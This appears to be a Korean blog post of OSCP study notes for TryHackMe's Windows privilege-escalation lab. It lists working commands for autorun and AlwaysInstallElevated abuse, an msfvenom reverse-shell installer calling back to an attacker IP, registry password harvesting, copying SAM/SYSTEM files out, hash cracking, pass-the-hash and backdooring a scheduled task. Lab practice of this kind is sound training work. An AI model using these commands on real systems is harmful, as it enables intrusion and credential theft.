OSCP/TryHackMe

Windows PrivEsc - Registry, Password, AutoRun, StartUp, GUI, token

우와해커 2020. 7. 13. 15:39

[Task 7] Registry - AutoRuns

  1. 자동실행으로 등록된 레지스트리 확인한다.
    reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

  2. 자동실행으로 등록된 프로그램이 Everyone 권한에게 Writable 권한을 부여했는지 체한다.
    C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

  3. 해당 프로그램을 악성파일로 덮어쓴다.

  4. 윈도우가 재시작되면 PWN된다.

[Task 8] Registry - AlwaysInstallElevated

레지스트리 값 AlwaysInstallElevated이 1로 설정되면 취약

 

Query the registry for AlwaysInstallElevated keys:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Note that both keys are set to 1 (0x1).

 

On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).

 

Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

 

 

[Task 9] Passwords - Registry

password 단어를 포함한 키와 값을 검색

reg query HKLM /f password /t REG_SZ /s

 

시간이 없다면 바로 admoin autologin credential을 찾아볼 수있다.

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

출력 값:
Auto AdminLogon REG_SZ 1
DefaultPassword REG_SZ password123
LastUserdUsername REG_SZ admin

 

칼리에서 바로 관리자 권한의 프롬프트를 실행시킬 수 있다.

winexe -U 'admin%password' //10.10.60.160 cmd.exe

 

 

[Task 10] Passwords - Saved Creds
이건 그냥 미미카츠나 다른 덤프 툴쓰자

 

[Task 11] Passwords - Security Account Manager (SAM)
SAM 및 SYSTEM 파일을 사용하여 사용자 비밀번호 해시를 추출 할 수 있습니다.
이 VM은 SAM 및 SYSTEM 파일의 백업을 C:\Windows\Repair\ 디렉토리에 안전하지 않게 저장했습니다.

 

Transfer the SAM and SYSTEM files to your Kali VM:

copy C:\Windows\Repair\SAM \10.10.10.10\kali
copy C:\Windows\Repair\SYSTEM \10.10.10.10\kali\

 

Kali에서 creddump7 리포지토리를 복제하여 SAM 및 SYSTEM 파일에서 해시를 덤프합니다.
(Kali의 저장소는 구식이며 Windows 10의 경우 해시를 올바르게 덤프하지 않습니다!)

git clone https://github.com/Neohapsis/creddump7.git
sudo apt install python-crypto
python2 creddump7/pwdump.py SYSTEM SAM

 

hashcat을 이용해 NTLM 해쉬를 크랙합니다.

hashcat -m 1000 --force /usr/share/wordlists/rockyou.txt

 

 

[Task 12] Passwords - Passing the Hash
NTLM Hash 값을 얻었다면 PTH를 이용해 바로 로그인이 가능하다.

pth-winexe와 함께 전체 관리자 해시를 사용하여 암호를 해독 할 필요없이 관리자로 실행중인 셸을 생성합니다.
해시에는 콜론으로 구분 된 LM 및 NTLM 해시가 모두 포함됩니다.
pth-winexe -U 'admin%hash' //10.10.60.160 cmd.exe

 

 

[Task 13] Scheduled Tasks

스캐쥴 태스크에 관리자 권한으로 실행되는 스크립트가 존재하며 이 파일에 내가 로그인한 유저가 쓰기 권한이 있다면
간단히 악성 쉘 바이너리 실행하도록 한줄 추가해주면 된다.

type C:\DevTools\CleanUp.ps1
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

 

[Task 14] Insecure GUI Apps

GUI로 그림판 예시
1.그림판이 관리자 권한으로 실행됨
명령어: tasklist /V | findstr mspaint.exe
2.File-Open->경로에 cmd프롬프트 실행
3.관리자 cmd 사용 가능

 

[Task 15] Startup Apps

시작프로그램들의 권한 체크

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

BUILTIN\Users group이 StartUp 디렉토리에 쓰기 권한이 있으면 취약.

 

1. 시작 프로그램 폴더에 리버스쉘.lnk 파일을 위치시킴
2. 로그인하면 PWN

 

 

꽤 복잡함 별도로 구글링해서 공부해야함.
[Task 16] Token Impersonation - Rogue Potato
[Task 17] Token Impersonation - PrintSpoofer

 

 

[Task 18] Privilege Escalation Scripts

  1. winPEASany.exe
  2. Seatbelt.exe
  3. PowerUp.ps1
  4. SharpUp.exe

'OSCP > TryHackMe' 카테고리의 다른 글

[Linux] Lord of the Ring  (0) 2020.07.14
Windows PrivEsc - Service Exploits  (0) 2020.07.12
[Windows] ICE  (0) 2020.07.11
[Linux] Linux PrivEsc  (0) 2020.07.07
[Windows] Windows PrivEsc Arena  (0) 2020.06.14